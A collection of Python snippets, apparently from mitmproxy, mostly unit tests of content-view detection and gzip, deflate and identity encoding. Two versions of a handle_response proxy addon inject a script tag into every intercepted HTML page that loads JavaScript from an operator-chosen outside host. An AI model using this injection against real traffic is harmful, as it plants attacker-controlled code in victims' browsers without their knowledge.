def test_get_content_view(self): r = cv.get_content_view(cv.get("Raw"), [["content-type", "application/json"]], "[1, 2, 3]", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view(cv.get("Auto"), [["content-type", "application/json"]], "[1, 2, 3]", 1000, lambda x: None) assert r[0] == "JSON" r = cv.get_content_view(cv.get("Auto"), [["content-type", "application/json"]], "[1, 2", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view(cv.get("AMF"), [], "[1, 2", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view(cv.get("Auto"), [["content-type", "application/json"], ["content-encoding", "gzip"]], encoding.encode('gzip', "[1, 2, 3]"), 1000, lambda x: None) assert "decoded gzip" in r[0] assert "JSON" in r[0] r = cv.get_content_view(cv.get("XML"), [["content-type", "application/json"], ["content-encoding", "gzip"]], encoding.encode('gzip', "[1, 2, 3]"), 1000, lambda x: None) assert "decoded gzip" in r[0] assert "Raw" in r[0]
def test_simple(self): assert "string" == encoding.decode( "deflate", encoding.encode("deflate", "string")) assert "string" == encoding.decode( "deflate", encoding.encode("deflate", "string")[2:-4]) assert None == encoding.decode("deflate", "bogus")
def test_get_content_view(self): r = cv.get_content_view( cv.get("Raw"), [["content-type", "application/json"]], "[1, 2, 3]", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view( cv.get("Auto"), [["content-type", "application/json"]], "[1, 2, 3]", 1000, lambda x: None) assert r[0] == "JSON" r = cv.get_content_view( cv.get("Auto"), [["content-type", "application/json"]], "[1, 2", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view( cv.get("AMF"), [], "[1, 2", 1000, lambda x: None) assert "Raw" in r[0] r = cv.get_content_view( cv.get("Auto"), [["content-type", "application/json"], ["content-encoding", "gzip"]], encoding.encode('gzip', "[1, 2, 3]"), 1000, lambda x: None) assert "decoded gzip" in r[0] assert "JSON" in r[0] r = cv.get_content_view( cv.get("XML"), [["content-type", "application/json"], ["content-encoding", "gzip"]], encoding.encode('gzip', "[1, 2, 3]"), 1000, lambda x: None) assert "decoded gzip" in r[0] assert "Raw" in r[0]
def test_deflate(): assert "string" == encoding.decode( "deflate", encoding.encode( "deflate", "string")) assert "string" == encoding.decode( "deflate", encoding.encode( "deflate", "string")[ 2:- 4]) assert None == encoding.decode("deflate", "bogus")
def test_get_content_view(self): r = cv.get_content_view( cv.VIEW_CONTENT_RAW, cv.VIEW_CONTENT_PRETTY_TYPE_AUTO, [["content-type", "application/json"]], "[1, 2, 3]" ) assert r[0] == "Raw" r = cv.get_content_view( cv.VIEW_CONTENT_PRETTY, cv.VIEW_CONTENT_PRETTY_TYPE_AUTO, [["content-type", "application/json"]], "[1, 2, 3]" ) assert r[0] == "JSON" r = cv.get_content_view( cv.VIEW_CONTENT_PRETTY, cv.VIEW_CONTENT_PRETTY_TYPE_AUTO, [["content-type", "application/json"]], "[1, 2" ) assert r[0] == "Raw" r = cv.get_content_view( cv.VIEW_CONTENT_PRETTY, cv.VIEW_CONTENT_PRETTY_TYPE_AUTO, [ ["content-type", "application/json"], ["content-encoding", "gzip"] ], encoding.encode('gzip', "[1, 2, 3]") ) assert "decoded gzip" in r[0] assert "JSON" in r[0] r = cv.get_content_view( cv.VIEW_CONTENT_PRETTY, cv.VIEW_CONTENT_PRETTY_TYPE_XML, [ ["content-type", "application/json"], ["content-encoding", "gzip"] ], encoding.encode('gzip', "[1, 2, 3]") ) assert "decoded gzip" in r[0] assert "forced" in r[0]
def test_get_content_view(self): r = cv.get_content_view( cv.VIEW_RAW, [["content-type", "application/json"]], "[1, 2, 3]", 1000 ) assert "Raw" in r[0] r = cv.get_content_view( cv.VIEW_AUTO, [["content-type", "application/json"]], "[1, 2, 3]", 1000 ) assert r[0] == "JSON" r = cv.get_content_view( cv.VIEW_AUTO, [["content-type", "application/json"]], "[1, 2", 1000 ) assert "Raw" in r[0] r = cv.get_content_view( cv.VIEW_AUTO, [ ["content-type", "application/json"], ["content-encoding", "gzip"] ], encoding.encode('gzip', "[1, 2, 3]"), 1000 ) assert "decoded gzip" in r[0] assert "JSON" in r[0] r = cv.get_content_view( cv.VIEW_XML, [ ["content-type", "application/json"], ["content-encoding", "gzip"] ], encoding.encode('gzip', "[1, 2, 3]"), 1000 ) assert "decoded gzip" in r[0] assert "Raw" in r[0]
def handle_response(self, flow): hid = (flow.request.host, flow.request.port) # We only inject into html responses if flow.response.headers['Content-Type'] and str( flow.response.headers['Content-Type'][0]).startswith( 'text/html'): # Decoding of message body (zip/deflate) needed? body = flow.response.content if flow.response.headers['Content-Encoding']: body = encoding.decode( flow.response.headers['Content-Encoding'][0], flow.response.content) # We inject the js code directly before </head> injected_url = "http://" + self.options.target + self.options.path injected_code = "<script language=\"javascript\" type=\"text/javascript\" src=\"" + injected_url + "\"></script>" try: body = body.replace("</head>", injected_code + "</head>") except: pass # (Re)Encoding needed? if flow.response.headers['Content-Encoding']: body = encoding.encode( flow.response.headers['Content-Encoding'][0], body) flow.response.content = body flow.reply()
def handle_response(self, flow): hid = (flow.request.host, flow.request.port) # We only inject into html responses if flow.response.headers['Content-Type'] and str(flow.response.headers['Content-Type'][0]).startswith('text/html'): # Decoding of message body (zip/deflate) needed? body = flow.response.content if flow.response.headers['Content-Encoding']: body = encoding.decode(flow.response.headers['Content-Encoding'][0],flow.response.content) # We inject the js code directly before </head> injected_url = "http://" + self.options.target + self.options.path injected_code = "<script language=\"javascript\" type=\"text/javascript\" src=\"" + injected_url + "\"></script>" try: body = body.replace("</head>", injected_code + "</head>") except: pass # (Re)Encoding needed? if flow.response.headers['Content-Encoding']: body = encoding.encode(flow.response.headers['Content-Encoding'][0], body) flow.response.content = body flow.reply()
def test_gzip(): assert "string" == encoding.decode( "gzip", encoding.encode( "gzip", "string")) assert None == encoding.decode("gzip", "bogus")
def test_simple(self): assert "string" == encoding.decode("identity", "string") assert "string" == encoding.encode("identity", "string") assert not encoding.encode("nonexistent", "string")
def test_simple(self): assert "string" == encoding.decode("gzip", encoding.encode("gzip", "string")) assert None == encoding.decode("gzip", "bogus")
def test_gzip(): assert "string" == encoding.decode("gzip", encoding.encode("gzip", "string")) assert None == encoding.decode("gzip", "bogus")
def test_identity(): assert "string" == encoding.decode("identity", "string") assert "string" == encoding.encode("identity", "string") assert not encoding.encode("nonexistent", "string") assert None == encoding.decode("nonexistent encoding", "string")